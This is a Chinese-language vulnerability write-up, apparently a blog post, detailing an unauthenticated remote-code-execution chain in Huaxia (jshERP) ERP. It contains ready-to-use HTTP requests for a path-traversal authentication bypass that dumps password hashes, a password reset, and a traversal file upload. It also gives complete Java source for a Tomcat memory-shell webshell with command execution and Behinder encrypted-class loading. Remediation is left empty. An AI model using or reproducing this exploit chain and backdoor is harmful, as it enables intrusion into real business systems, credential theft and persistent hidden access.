华夏ERP全版本未授权RCE
1.基本信息
• 漏洞名称:华夏ERP全版本未授权RCE
• 漏洞编号:SCZC-20240829-0001
• CVE/CNVD:
• 所属厂商:用友-畅捷通信息技术股份有限公司
• 所属资产:华夏ERP
• 资产类别:企业管理工具
• 涉及版本:V3.3以下
• 涉及特征:/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList
2.相关介绍
2.1 产品介绍
空间搜索引擎特征:未知
管伊佳ERP基于SpringBoot框架和SaaS模式,立志为中小企业提供开源好用的ERP软件,目前专注进销存+财务+生产功能。主要模块有零售管理、采购管理、销售管理、仓库管理、财务管理、报表查询、系统管理等。支持预付款、收入支出、仓库调拨、组装拆卸、订单等特色功能。拥有库存状况、出入库统计等报表。同时对角色和权限进行了细致全面控制,精确到每个按钮和菜单。
2.2 危害介绍
暂未发布
3.复现特征
3.1 获取密码MD5
GET /jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList HTTP/1.1
通过getAllList读取用户名,密码MD5值。
3.2 登录管理员后台
使用读取得密码MD5值登录超级管理员后台。
POST /jshERP-boot/user/login HTTP/1.1
Host: IP
Content-Length: 67
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://173.20.10.3:3000
Referer: http://173.20.10.3:3000/user/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1724134392; HMACCOUNT=4FC1696FCCBA0C17; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1724138837
Connection: close
{"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}
3.3 权限绕过重置用户密码
/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/resetPwd
{"id":63}
3.4 后台利用
超级管理员用户登陆后使用uploadPluginConfigFile
接口创建../plugin
目录,此目录创建后可部署插件
POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1
Host: 173.20.10.3:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------64343665641219398361207370473
X-Access-Token: 90777cf909864636a458b05de1eab2a9_0
Content-Length: 247
-----------------------------64343665641219398361207370473
Content-Disposition: form-data; name="configFile"; filename="../plugins/success.txt"
Content-Type: text/plain
success
-----------------------------64343665641219398361207370473--
后台上传插件
编写springboot-plugin-framework-parent插件(参考链接:https://gitee.com/xiongyi01/springboot-plugin-framework-parent)
3.5 内存马注入
编写冰蝎监听器,部署插件注入内存马
package ysoserial.payloads.templates;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.modeler.Registry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.management.DynamicMBean;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Scanner;
import java.util.Set;
public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {
static {
try {
MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(obj);
Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
if (objectSet.size() == 0) {
// springboot的jmx中为Tomcat而非Catalina
objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
}
for (NamedObject namedObject : objectSet) {
DynamicMBean dynamicMBean = namedObject.getObject();
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(dynamicMBean);
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(obj);
TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();
standardContext.addApplicationEventListener(listener);
}
} catch (Exception e) {
// e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
// Listener马没有包装类问题
try {
RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field f = requestFacade.getClass().getDeclaredField("request");
f.setAccessible(true);
Request request = (Request) f.get(requestFacade);
Response response = request.getResponse();
// 入口
if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
// cmdshell
if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
response.resetBuffer();
response.getWriter().println(result);
response.flushBuffer();
response.finishResponse();
}
} else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
if (request.getMethod().equals("POST")) {
// 创建pageContext
HashMap pageContext = new HashMap();
// lastRequest的session是没有被包装的session!!
HttpSession session = request.getSession();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", session);
// 这里判断payload是否为空 因为在springboot3.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
String payload = request.getReader().readLine();
// System.out.println(payload);
// 冰蝎逻辑
String k = "e45e329feb5d925b"; // rebeyond
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
} else {
response.resetBuffer();
response.getWriter().println("error");
response.flushBuffer();
response.finishResponse();
}
}
} catch (Exception e) {
// e.printStackTrace();
}
}
}
插件启动,new一个冰蝎监听马
上传插件连接内存马
密码:rebeyond
Referer: https://www.google.com/ x-client-data: rebeyond
4.POC/EXP
暂未发布
5.修复建议
暂未发布
华夏ERP全版本未授权RCE
http://localhost:8080/archives/hua-xia-erpquan-ban-ben-wei-shou-quan-rce